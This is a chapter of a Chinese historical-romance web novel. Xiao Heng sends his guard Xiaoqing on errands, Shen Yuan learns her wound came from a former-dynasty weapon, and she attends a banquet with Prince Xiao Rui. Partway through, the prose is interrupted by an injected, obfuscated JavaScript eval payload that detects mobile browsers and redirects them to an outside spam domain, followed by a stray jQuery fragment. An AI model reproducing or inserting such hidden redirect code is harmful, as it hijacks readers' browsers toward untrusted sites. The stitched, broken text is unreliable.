萧珩从客栈后窗翻出,夜风吹散了他脸上最后一丝笑意。他原路返回,在沈鸢又好气又好笑的目送下离开。当然,她此刻还在楼上,看不见他夜色中肃然的表情。
落地后,萧珩环顾四周,确认无人跟踪,才快步走进一条暗巷。小青已等候多时,见他终于出现,赶紧迎了上来。
“公子,你可算是出来了。”小青低声唤着。
原本萧珩只说送个清灵丹,去去就回,哪里想到这一去就是如此之久。
她一时间联络不上萧珩,只能在这里等。这条暗巷,是他们事先约好的会面之地。
“小青,你们在城里暗巡得如何了?”
“公子,附近发现了青蛟帮留下的暗号,也不知是帮里何人来了。”
“青蛟帮……”萧珩嘴里念叨着那三个字,脑中浮现出他方才翻窗进入沈鸢房中的那一幕,她手里拿着的那个弩箭,可不正是出自青蛟帮?
那弩箭,是帮主之物,可是苏帮主腿脚不便,近年已很少抛头露面了。那便只有一个答案了。
想到这里,萧珩嘴上浮现一丝笑:“看来是苏帮主的宝贝女儿来了。”
“公子,你是说青蛟帮少帮主苏棠?”
萧珩点头:“顺着那个暗号去查吧,若是找到苏大小姐,告诉她,我在这里。”
小青应了,一面随着萧珩往外走去:“明天周怀仁设宴,公子交代的事情,都已经准备妥当了。”
“不,还有一事。”
小青愣住,还有何事?但凡萧珩要她办的差事,她从未有过错漏啊……
萧珩不疾不徐说着:“明日你出没周府之时,帮我顾着点沈姑娘。”
小青露出错愕之色:“沈姑娘也要去明日宴席?”
“是啊,计划有变……”萧珩无奈地摇头。
小青这才意识到,为什么萧珩在沈鸢那里停留了这么久,原来是这样……
“可是公子……殿下,小青是你的暗卫,不是沈姑娘的。”小青咬了咬嘴唇,语声幽幽地说着。
“我知道,所以我方才说,这事算是帮我的。”萧珩停下脚步,拂去了小青头发上方盘旋的飞絮,认真说着,“辛苦了,小青。”
“……知道了。”小青低声嘟囔着。
“最后一件事。”说着,萧珩取出一张信纸,“将这封信寄去都城。”
“这是……给三殿下的?”小青将信纸收好,“说起来,公子自打进了清河城以来,还从未跟三殿下写信呢。”
这是自家公子的一个习惯,每当他去一个新地方,总会给他的三哥,也就是当朝三皇子写信,说说城里的见闻,就当是……那一位也去过了。
朝中皆知,三皇子萧策,腿有隐疾,从不出门。
但鲜有人知,萧策萧珩两位皇子,虽非同母所出,却感情甚好。
如果说这些年来萧珩远离都城,对那地方仍有挂念,那便是因为三皇子。
是以萧策不出门,依旧知天下事。都是萧珩说的。
小青收了信正要走,萧珩又道:“过两日,三哥恐有回信,你留神些。”
“回信?”小青脚步一顿,露出讶色。
三殿下很少回信,一来朝中人多眼杂,频繁信件来往恐遭人疑,二来,萧珩信中所写多是风土人情,没有冒着风险回信的必要。
萧珩:“我这次在信中问了三哥一些事,关于雪莲子、龙骨血和凤凰血。”
小青这才反应过来:“原来是为了沈姑娘。”
“……”萧珩幽幽瞥了小青一眼,“先前答应了沈姑娘要帮忙寻线索,自然不能食言。”
“也是,三殿下对这类珍稀药物最有研究,问他确实是问对了。”
萧珩点头,眼里微不可察的闪过一丝憾色。
他三哥是读书治天下的料,可惜受腿疾影响,出行不便,以至于受尽朝中上下的冷眼。因此长久以来,他在药物病理上下了无数功夫,堪称久病成医。
却不知他自己,何时才能从轮椅上站起来……
与此同时,沈鸢坐在房间,对着榻上新出现的那一叠衣服发呆。
大皇子手下的人动作很快,在萧珩离开后不久,就送来了赴宴要穿的衣服。
沈鸢随手拎起长裙在腰间比划了一下,发现衣裳大小是意外的合适。
……那速度,那尺寸,简直就像是早有准备似的。
这一拎,裙中的玛瑙珠串声发出叮叮当当的脆响,简直让沈鸢无奈透顶。
这身裙装,不知要多少钱……甚至,还不一定是花钱就能买到的。
换上衣裳,戴上手链,沈鸢看着镜中的自己,简直不敢相认。
她早已不是那个笨手笨脚歪戴珠钗的二当家了,可是这一身典雅华服,还是让她浑身不自在。
唯有指尖触到一丝凉意,确认短剑还在袖中时,她才找到了心安的感觉。
距离宴会还有整整一天,沈鸢心中惦记着事情,烦躁地看着窗外。
窗外有官兵巡逻,楼下有萧瑞的人盯梢。所以白天,她只能守着那堆华服,饿了叫小二送碗面,吃完继续发呆。
唯有到了夜晚,沈鸢看着月色降临,楼下喧嚣尽数归于沉寂,她伸了个懒腰,终于感觉精神了。
她怀揣着四百两银票,从客栈后窗翻了出去,就是白天萧珩来时,翻进又翻出的地方,如今,也被她用上了。
城里安静得可怕,巡逻之人都已撤了,可受白天影响,外头还敢走夜路的人几乎没用。唯有打更之人,一路走着,瘦削背影被月色拉得颀长,一声声叫更回荡着青石板间,激起孤鸟振翅。
一整个城,都透出一股不可名状的紧张戒备。
唯有沈鸢,穿街走巷毫无阻滞,一路直行到了城南。守门的老头也已不见,好在,木门未关,依然掩着,她熟门熟路地进去。
昏黄灯光下,正在桌前打盹的灰衣汉子被脚步声惊醒,揉着眼看了看沈鸢:“你倒是胆大。”
“这不是记挂着先前问你的事嘛。查怎么样了?”大晚上的,沈鸢不想浪费时间,开口便直说了。
那人眼底睡意瞬间褪去,他问:“你查的那个东西,是哪里来的?”
“怎么?你问这个做什么?”沈鸢皱眉,“若是查出什么,你便告诉我,我将四百两双手奉上。若是没有,你将那定金还我。”
那人冷哼:“我的招牌,还没有砸过。你让我查的,我自然是有线索了。”
“快说。”见那人没有要接着说的意思,沈鸢赶紧将四百两递了过去。
他低头看了眼银票,这才开口:“这钱,我本是不该赚的,因为我从不说前朝的事。但既然收了你定金,我就破规矩一次。你听了之后,就速速离开。”
“前朝?”沈鸢愣住。这锥心刺怎么跟前朝扯上了关系?
“锥心刺,前朝宫廷秘器,如今早已失传,见过的人恐怕没几个。”
沈鸢心头大惊。
前朝!又是前朝!
玄铁令是前朝之物,锥心刺也是前朝秘传,如此说来,大当家手握玄铁令,又知晓锥心刺来历,那他也定然跟前朝有关了?
可是她自己,为什么会对玄铁令有奇异的反应?又为什么会中锥心刺?
难道说……
沈鸢下意识摸着自己臂上刺字,陷入沉思,耳里只听那个灰衣汉子又道:“中锥心刺者,重则一命呜呼,轻则损伤心脉,封存记忆。”
封存记忆?沈鸢恍然大悟,难怪她记不起以前的事情,原来是这样。
只因那锥心刺在她心口偏了一分,否则,她也只有一命呜呼的份了。
既然如此,她是不是可以理解为,若是能修复被损的心脉,她就有机会恢复记忆?
沈鸢张嘴,还待问再什么,那灰衣汉子已经收了银票,冲她挥了挥手。
“惦记前朝之事,这可是要掉脑袋的。我已将知道的都告诉你了,你速速离开,莫要再问了。”
沈鸢看着那人再次闭上眼睛,陷入打盹之中,她低声道谢,悄无声息地退出那里。
借着月色一路回到客栈,沈鸢睁大双眼躺在床上。
脑中止不住回想那个灰衣汉子说过的话,心中疑惑更甚。
若是大当家还在,说不定能告诉她一些消息,可是大当家早已身死,她上哪儿去打听那些前朝隐秘之事?
忽然,脑子里闪过一个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17720452|208618||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
名字。
沈鸢坐了起来,面色凝重。
萧珩。
他说不定知道。
因为他是最后见到大当家的人,又是皇室中人,他既然知道玄铁令,自然也对前朝有所了解。
问他,最合适。
只是如今,他以盐商身份出现,她又不好点破,该如何问呢?
沈鸢叹了口气,重新躺回床上。
得想个办法,最好与他同行。
至于清风寨那笔账,她不是忘了,而是得再做打算,徐徐图之。
既然他能算计她,反过来,她也可以。
沈鸢心安理得地闭上眼,嘴角扬起一丝笑意。
次日晚,酉时,大皇子的马车如约而至,停在了沈鸢所在的客栈楼下。
车帘掀起一角,露出萧瑞那张方正的脸。沈鸢别扭地提着裙摆,上了马车车厢。
“沈姑娘,这衣裳果然衬你。”萧瑞打量着沈鸢,眼里露出惊艳。
沈鸢抿了抿唇,礼貌笑笑。
今日这位大皇子换了一身玄色锦袍,金线绣成的蟒纹在领口若隐若现,比昨日更多了几分上位者的威压。
沈鸢目光一垂,只见萧瑞玄袍袖间的银边上有缠枝莲纹,还有腰间白玉,明晃晃的,与沈鸢那串手链遥相呼应,简直……叫人只想将目光投至窗外。
车厢内,她和萧瑞的距离不过一膝,她故意露出害羞之色,手指一下一下捋着鬓边碎发,实则眼神悄然飘向窗外,暗记路线。
这是通往盐运使周怀仁府邸的路,穿过宽阔热闹的主路,马车停在了一处僻静巷子。
巷子极小,马车是进不去的,而四顾之下,也未曾见到半点院落的影子。沈鸢心下疑惑,却见两顶软轿出现在眼前。
“沈姑娘,请。”萧瑞说着,神色如常进了前面那顶软轿。
约是疾行了一炷香工夫,软轿停了下来,沈鸢挑帘去看,视线终于开阔,周怀仁已在府前门口恭候多时,见了萧瑞,颤着一身肥肉赶紧迎了上来。
沈鸢跟在后面,一边进府,一边不动声色环顾。
一个不留神,差点被门槛绊了一跤。
不是她眼拙,而是这门槛之高,比寻常人家足足高了一倍不止。
她没见过什么大宅子,印象里,清溪镇举行花朝大会的那个宅院,已够让人惊叹,没想到到了这处周府,心中对“豪华”的认知,一次次受到了冲击。
她很想停下来多看两眼,可惜,与她一道而来的是大皇子萧瑞。
他负手走着,蟒皮靴缓缓踩过玉石铺就的路,穿过这个季节犹有芙蓉绽放的莲池,绕过琉璃灯下花影闪烁的金廊,眼神淡淡的,就好像是在看什么极其寻常的东西。
沈鸢一路走马观花,直到眼前一条九曲石桥,尽头一座湖心亭灯火璀璨。
亭中入座,一群美貌侍女托着壶盏杯碟而来,一时间步摇轻罗,香影袭人。
周怀仁拱手托着金杯:“殿下亲临,周府上下实在蓬荜生辉,前日宴席,殿下受了惊扰,今日下官特地赔罪……下官先自罚三杯。”
他哆嗦着将酒灌入喉中,喝得太急,酒液顺着嘴角淌进下巴与脖颈间肥肉堆叠的沟壑里。
萧瑞不紧不慢地看着周怀仁将三杯酒饮毕,忽而转向沈鸢,夹了一筷新上的春菜,送去她碗里,姿态随意得像在自己家。
“沈姑娘,别客气,尝尝周大人精心安排的菜。”
沈鸢低声谢了一句,埋头吃着那菜。菜是好菜,堪称珍馐,只是她心思不在吃上,嚼了数口也没品出味道。
周怀仁在萧瑞的眼神示意下,赶紧起身向沈鸢敬酒,感谢沈姑娘云云,叫沈鸢很是无奈,只能在面上做足功夫。
周怀仁一身虚肉累得够呛,正要拿着酒杯坐回座位,却听萧瑞不紧不慢地开口:“周大人,其实你方才,有一言说得不对。”
“……殿下,下官、下官愚钝,还请明示。”周怀仁身上冷汗与热汗交织,这屁股底下的椅子是坐也不是,不坐也不是。
沈鸢听在耳里,也觉得诧异,周怀仁说得不对?
她听得仔细,没觉得不对啊。
这大皇子,究竟是何意?